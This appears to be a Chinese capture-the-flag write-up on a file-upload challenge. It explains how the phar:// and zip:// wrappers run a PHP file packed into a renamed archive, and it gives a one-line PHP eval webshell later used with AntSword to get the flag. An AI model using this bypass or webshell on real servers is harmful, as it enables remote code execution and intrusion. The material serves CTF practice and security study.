首页 > 其他分享 >文件上传-伪协议2023/10/25

文件上传-伪协议2023/10/25

时间:2023-10-25 13:24:05浏览次数:47  
标签:25 zip 10 phar jpg 文件 2023 上传 压缩包

 

开始可以看到访问upload文件会自动补全后缀,然后上传一张1.jpg文件可以上传成功但是没什么用,还可以题目说还可以上传压缩包,那么可以利用phar://协议和zip://协议

  • phar://协议
  • phar:///tmp/zip.jpg/1.php
  • /tmp/zip.jpg 表示要解析的压缩包,与扩展名无关,如只允许abc格式文件上传,那么可以上传zip.abc格式压缩包
  • 1.php表示压缩包中的文件
  • zip://和phar://不同的是压缩包和文件分隔符不一样,使用#
  • zip:///tmp/zip.jpg#1.php

如果限制了扩展名且能上传压缩包时,可以将文件放进压缩包再上传,然后使用伪协议读取

写个一句话木马,内容如下:

<?php
phpinfo(); 
@eval($_POST["cmd"]);
 ?>

将其压缩为压缩包,并上传

 

上传成功并且可以下载导,用伪协议读取一下

 可以看到phpinfo();执行成功

 

 然后蚁剑连接在根目录下可以看到flag

 

标签:25,zip,10,phar,jpg,文件,2023,上传,压缩包
From: https://www.cnblogs.com/lcjingyi/p/17786934.html

相关文章

  • 语雀10.23事故分析
    语雀10.23事故分析语雀公告:https://mp.weixin.qq.com/s/WFLLU8R4bmiqv6OGa-QMcw事故原因:领会员欢迎关注公-众-号【TaonyDaily】、留言、评论,一起学习。Don’treinventthewheel,librarycodeistheretohelp.文章来源:刘俊涛的博客若有帮助到您,欢迎点赞、转发......
  • [ABC256E] Takahashi's Anguish
     题目 https://www.luogu.com.cn/problem/AT_abc256_e 图论题,是个环套树发现环上的边要取掉一条(min),其他的不用取https://www.luogu.com.cn/record/131488937......
  • 10-25|我只想可以修改容器内的时间而不影响外部时间怎么办啊
    想要在容器内部独立地修改时间,而不影响宿主机,你可以使用Linux的namespace隔离特性。不过,请注意,Docker自己并没有直接提供修改容器独立时间的功能。但你可以使用以下技巧来实现:1.**使用`fake-hwclock`**:这个工具在每次系统启动和停止时保存和读取系统时间。这样即使容器重启,时间......
  • ARC100
    A直接\(a_i\getsa_i-i\)做中位数就行。B这我都不会???不能嗯二分答案。考虑相当于枚举三个数\(i<j<k\)算\(s_i,s_j-s_i,s_k-s_j,s_n-s_k\),然后枚举\(j\),显然\(i,k\)的最优决策点是单调的。直接双指针啊啊。C做一个高维前缀最大值/次大值。D不错的题?考虑\(k-\)......
  • 【记录10】华为云耀云服务器L实例-使用Docker拉取nginx镜像的部署示例
     Docker 是一个开源平台,用于开发、运输和运行应用程序。它使用容器化技术来包装应用程序及其依赖项,以便在任何环境中都能一致地运行。简单来说,Docker 可以将应用程序及其所有依赖项打包成一个容器,这样就可以确保它无论在哪里运行都表现一致。 ### Docker 的主要组件:1.......
  • ChatGPT 问答00024 10亿小片段文本推荐用什么数据库记录
    对于这种大规模的文本数据,一种可能的解决方案是使用分布式数据库系统,它能够有效地处理和查询大量数据。以下是一些可能的选择:ApacheCassandra:Cassandra是一个高度可扩展的分布式数据库,特别适合处理大量数据跨多个数据中心和云服务。它提供了高性能和无单点故障等特点。Goog......
  • ”向前“ CSP2023总结
    CSP2023结束了。我人生中第一场,也是最后一场CSP-S也从此落幕。曾想过很多自己的结局。从挂初赛,过不了复赛,到打不了NOIP。2022,哀其不幸怒其不争。今年走到了NOIP,而且女赛。好好努力吧。前面的比赛,压线过。而NOIP,需要突破。激进的态度就是竞赛本身。......
  • 面试必刷TOP101:12、单链表的排序
    一、题目publicclassSolution{/***代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可***@paramheadListNode类theheadnode*@returnListNode类*/publicListNodesortInList(ListNodehead){......
  • 外汇110网:XM外汇平台又出同样事故“致用户爆仓”!
    因为XM无法及时入金而导致客户被动爆仓之事,也不是什么稀罕事了。这样的案例时有发生,却都是投资者来买单,而平台方的问题也从未得到改善。近期,又添一例!在XM因无法入金被动爆仓,维权无果据汇友描述,9月27日夜间至28日凌晨,他想追加保证金时发现XM电脑端入金通道关闭,期间他与平台客服沟通......
  • MCP2515国产替代兼容方案DPC15完全PIN对PIN支持spi通信的CAN总线控制芯片
    说明DPC15是一款独立控制器局域网络(ControllerAreaNetwork,CAN)协议控制器,完全支持CANV2.0B技术规范。该器件能发送和接收标准和扩展数据顿以及远程帧。MCP2515自带的两个验收屏蔽寄存器和六个验收滤波寄存器可以过滤掉不想要的报文,因此减少了主单片机(MCU)的开销。DPC15......